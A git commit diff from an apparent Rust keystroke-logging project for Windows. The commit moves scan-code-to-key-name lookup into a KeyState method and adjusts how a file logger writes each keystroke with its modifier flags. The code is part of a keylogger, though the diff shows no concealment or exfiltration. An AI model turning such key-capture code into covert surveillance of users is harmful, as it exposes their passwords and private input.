move some stuff

key names will finally be correct
This commit is contained in:
LordMZTE 2020-08-26 14:24:52 +02:00
parent 9e78b067f5
commit 8bba874cd6
4 changed files with 18 additions and 20 deletions

View file

@ -1,4 +1,7 @@
use winapi::um::winuser::KBDLLHOOKSTRUCT;
use std::ffi::OsString;
use winapi::um::winuser::{GetKeyNameTextW, KBDLLHOOKSTRUCT};
use wio::wide::FromWide;
pub struct KeyState {
pub kbdllstruct: KBDLLHOOKSTRUCT,
@ -40,4 +43,15 @@ impl KeyState {
pub fn is_aux_key(&self) -> bool {
matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91)
}
#[no_mangle]
pub fn name(&self) -> String {
unsafe {
let mut out = [0_u16; 128];
GetKeyNameTextW((self.kbdllstruct.scanCode << 16 | 1 << 24 /*this distinguishes special keys by setting a flag. yes only microsoft thinks that input and flags in 1 param is a good idea*/) as i32, (&mut out).as_mut_ptr(), 128);
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
//use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P
OsString::from_wide(&out[..null_pos]).to_str().unwrap().to_owned()
}
}
}

View file

@ -9,20 +9,5 @@ clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to
)]
//endregion
use winapi::um::winuser::GetKeyNameTextW;
use std::ffi::OsString;
use wio::wide::FromWide;
pub mod logging;
pub mod key;
#[no_mangle]
pub fn scan_code_to_key_name(scan_code: u32) -> String {
unsafe {
let mut out = [0_u16; 128];
GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 128);
let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
//use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P
OsString::from_wide(&out[..null_pos]).to_string_lossy().into()
}
}

View file

@ -1,5 +1,4 @@
use crate::logging::loggers::{ConsoleLogger, FileLogger};
use crate::scan_code_to_key_name;
use crate::key::keystate::KeyState;
pub trait Logger: Sync {
@ -16,12 +15,12 @@ pub fn get_logger(name: &str) -> Box<dyn Logger> {
impl dyn Logger {
pub fn default_format(key: &KeyState) -> String {
format!(
"{} >> {}{}{} >> {}\n",
"{} >> {}{}{} >> {}",
key.kbdllstruct.vkCode,
if key.win_down { "w" } else { "" },
if key.ctrl_down { "c" } else { "" },
if key.shift_down { "s" } else { "" },
scan_code_to_key_name(key.kbdllstruct.scanCode)
key.name()
)
}
}

View file

@ -30,6 +30,6 @@ impl FileLogger {
impl Logger for FileLogger {
fn log(&self, key: &KeyState) {
self.file.lock().unwrap().write_all(Logger::default_format(key).as_ref()).unwrap();
self.file.lock().unwrap().write_all(format!("{}\n", Logger::default_format(key)).as_ref()).unwrap();
}
}